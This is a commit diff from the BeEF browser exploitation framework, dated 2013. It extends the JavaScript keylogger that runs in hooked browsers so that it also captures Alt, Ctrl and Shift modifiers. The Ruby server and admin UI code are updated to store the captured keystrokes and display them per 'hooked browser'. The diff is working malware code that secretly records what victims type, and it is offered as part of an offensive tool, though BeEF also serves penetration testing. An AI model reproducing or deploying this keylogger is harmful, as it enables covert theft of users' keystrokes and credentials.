Enhancing the keylogger to log also shift/alt/ctrl

This commit is contained in:
antisnatchor
2013-12-15 16:01:50 +00:00
parent adde5275af
commit b28a79b56a
4 changed files with 28 additions and 9 deletions

View File

@@ -43,6 +43,7 @@ beef.logger = {
this.y = 0;
this.target = null;
this.data = null;
this.mods = null;
},
/**
@@ -233,17 +234,28 @@ beef.logger = {
*/
parse_stream: function() {
var s = '';
for (var i in this.stream)
{
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
s += String.fromCharCode(this.stream[i]['char']);
var mods = '';
for (var i in this.stream){
try{
var mod = this.stream[i]['modifiers'];
s += String.fromCharCode(this.stream[i]['char']);
if(typeof mod != 'undefined' &&
(mod['alt'] == true ||
mod['ctrl'] == true ||
mod['shift'] == true)){
mods += (mod['alt']) ? ' [Alt] ' : '';
mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
mods += (mod['shift']) ? ' [Shift] ' : '';
mods += String.fromCharCode(this.stream[i]['char']);
}
}catch(e){}
}
var k = new beef.logger.e();
k.type = 'keys';
k.target = beef.logger.get_dom_identifier();
k.data = s;
k.mods = mods;
return k;
},

View File

@@ -36,10 +36,9 @@ module Core
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
raise Exception::TypeError, '"event" needs to be a string' if not event.string?
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
# logging the new event into the database
@logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
print_debug "Event: #{event}"
# if notifications are enabled send the info there too
if @notifications
@notifications.new(from, event, time_now, hb)

View File

@@ -59,6 +59,7 @@ class Logs < BeEF::Extension::AdminUI::HttpController
output = '{success: false}'
logs.each do |log|
print_debug "UI(log/.zombie.json) call: #{log.event.to_s}"
logs_json << {
'id' => log.id.to_i,
'date' => log.date.to_s,

View File

@@ -62,7 +62,14 @@ module Events
when 'blur'
result = "#{event['time']}s - [Blur] Browser window has lost focus."
when 'keys'
result = "#{event['time']}s - [User Typed] \"#{event['data']}\" > #{event['target']}"
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
print_debug "EventData: #{event['data']}"
if event['mods'].size > 0
print_debug "Event has mods"
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
else
result = "#{event['time']}s - [User Typed] #{event['data']}"
end
when 'submit'
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
else